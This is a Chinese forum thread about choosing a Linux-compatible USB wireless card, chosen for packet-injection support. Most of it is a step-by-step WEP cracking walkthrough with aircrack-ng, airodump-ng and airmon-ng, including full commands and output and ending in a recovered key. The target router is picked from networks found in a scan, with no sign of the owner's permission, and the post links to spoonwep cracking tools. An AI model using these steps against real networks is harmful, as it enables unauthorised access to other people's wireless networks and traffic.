viewtopic.php?f=103&t=228144&start=15
下面是我的选购过程,希望对诸位选购无线网卡有帮助。
我在网上查了一下,发现 腾达(Tenda) w541u , 1.x 版的芯片为RT73 ,并且w541 的报价一般在50元左右。
今天,下着很大的雨, 我带着笔记本电脑,特意去了电脑城
苦苦地在电脑城中人肉搜索,一家一家地问有没有tenda 1.x 版tenda w541u的余货 , 商家近乎统一口径的回答都是现在只有2.0, 1.x那是几年前的事情了,最后只好在经销商处试了一下报价只有50元的 tenda w541u 2.0 :
代码: 全选
Bus 002 Device 002: ID 148f:2070 Ralink Technology, Corp.
只能遗憾地离开, 外面的雨越下越大, 心情也开始失落起来,走路也开始跌跌撞撞,无意中碰到一家tp-link代理商,试了一下TP-link TL-WN321G+ ,居然在ubuntu 9.04(2.6.30内核)上 插上即认,完全用不着bt4 , 在电脑城照着教程练了一下手:
代码: 全选
sudo airodump-ng wlan0
马上伪装mac ,激活网卡的 Monitor 模式后, 接着尝试注入
@#%^&*()_+
注入成功!注入时终端哗哗的字符如瀑布般飘落 , 我的心情无比激动........外面的雨依旧在下..
最后心情仍然不能平定,与老板还价, 80元购得
附:
TP-link TL-WN321G+ :
代码: 全选
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy1]
代码: 全选
Bus 001 Device 002: ID 148f:2573 Ralink Technology, Corp. RT2501USB Wireless Adapter
tp-link tl-wn321g+usb无线网卡,采用大名鼎鼎的RT73芯片,ubuntu 9.10 对RT73支持很好,只需使用ubuntu 9.10官方源,内核不用打补丁,破解了wep无线密钥过程如下:
安装软件:
代码: 全选
sudo apt-get install aircrack-ng
spoonwep2依赖sun-java6-bin, 运行它需要在新立得中安装sun-java6-bin
或者:
代码: 全选
sudo apt-get install sun-java6-bin
rc3
http://d.namipan.com/d/spoonwep-wpa-rc3 ... e1de4a3800
比rc3新一点的版本
http://www.xwtop.com/cn/down/18930/spoo ... l-deb.html
[/color]
启用RT73网卡
代码: 全选
sudo airmon-ng start wlan0
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
3353 NetworkManager
3364 wpa_supplicant
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy1]
(monitor mode enabled on mon0)
杀掉上面提到的干扰进程
代码: 全选
sudo kill 3353
sudo kill 3364
再次启用RT73网卡
代码: 全选
sudo airmon-ng start wlan0
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy1]
(monitor mode enabled on mon1)
mon0 Ralink 2573 USB rt73usb - [phy1]
搜索无线路由:
代码: 全选
sudo airodump-ng wlan0
CH 1 ][ BAT: 2 hours 32 mins ][ Elapsed: 8 s ][ 2009-10-02 21:38
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
01:2A:2B:2E:2D:1A -75 6 0 0 6 54 . WEP WEP TP-LINK
00:1B:12:25:12:1B -81 6 1 0 6 54 . WEP WEP TP-LINK_25321C
开始抓包,命令中的mac 为刚才搜索到的无线ap之一,6 为其工作频道:
代码: 全选
sudo airodump-ng -c 6 -w cap --bssid 00:1B:12:25:12:1B wlan0
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
00:1B:12:25:12:1B -81 0 486 55 0 6 54 . WEP WEP T
另开一终端,ls 一下cap打头的文件,发现文件名为cap-02.cap的抓包时间比较长,data有26272之多, 故采用之,开始对bssid为00:1B:12:25:12:1B的路由器进行破解:
代码: 全选
sudo aircrack-ng -b 00:1B:12:25:12:1B cap-02.cap
Opening cap-02.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 26272 ivs.
Aircrack-ng 1.0
[00:00:13] Tested 6 keys (got 26275 IVs)
KB depth byte(vote)
0 0/ 1 31(38400) 2E(33280) 56(33280) 21(32512) E5(32256)
1 0/ 1 32(37120) 74(34048) B8(33536) FD(33024) FF(32256)
2 0/ 2 33(35328) 62(35072) 45(32768) 6C(32768) 78(32000)
3 0/ 3 C8(33024) 18(32768) CA(32768) C4(32512) 9A(32256)
4 0/ 1 35(35584) 1D(35072) BB(33536) A2(33024) 03(32768)
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%[/quote]
找到key 为:12345, wep密钥破解成功
若天 写了:在吗?我想买个无线网卡,可以帮我选个吗?我的是台式机不能搬着去选,你可以帮我买个吗?
spectater 写了: -------------------------------------ubuntu无线网卡选购指北
http://www.aircrack-ng.org/doku.php?id=compatible_cards
http://www.aircrack-ng.org/doku.php?id= ... ard_to_buyThe best chipset nowadays is Atheros. It is very well supported under Linux, and also under Windows. Neither support any USB wireless devices. The latest madwifi-ng patch makes it possible to inject raw 802.11 packets in either in Managed and Monitor mode at arbitrary b/g speeds.所以,照下面这个列表去参考是最好的:Which card to purchase is a hard question to answer. Each person's criteria is somewhat different. However, having said that, if money is not a constraint then the following cards are considered the best in class:
*
Alfa AWUS036H
*
Ubiquiti SRC
If money is a constraint then consider purchasing a card with a RTL8187L, RT73 or Atheros chipset. There are many available on the market for fairly low prices. You are simply trading off distance, sensitivity and performance for cost.
http://madwifi-project.org/wiki/Compatibility
国产的tp, 便宜好买,但听说不是很厚道,同型号生产到中途偷换芯片组,所以买时最好是带上 ubuntu desktop cd :
http://madwifi-project.org/wiki/Compatibility/TP-Link
这里还有一个芯片支持情况的表格:
http://www.linux-wlan.org/docs/wlan_adapters.html.gz
Alfa AWUS036H真货要50美刀:
http://www.metrix.net/datasheets/AWUS036H.pdf
http://wiki.robotz.com/index.php/Alfa_A ... Fi_Adapter
市场上采用RTL8187L的山寨高仿货实际上110元就可买到,山寨货报价相当混乱,不少假货报价和Alfa AWUS036H真货差不多:
http://auction1.paipai.com/89FE66010000 ... C2030E8E32
真假对比:
http://forum.aircrack-ng.org/index.php? ... pic=5992.0
山寨货评测:
http://www.jinshanren.com/home/space.ph ... log&id=633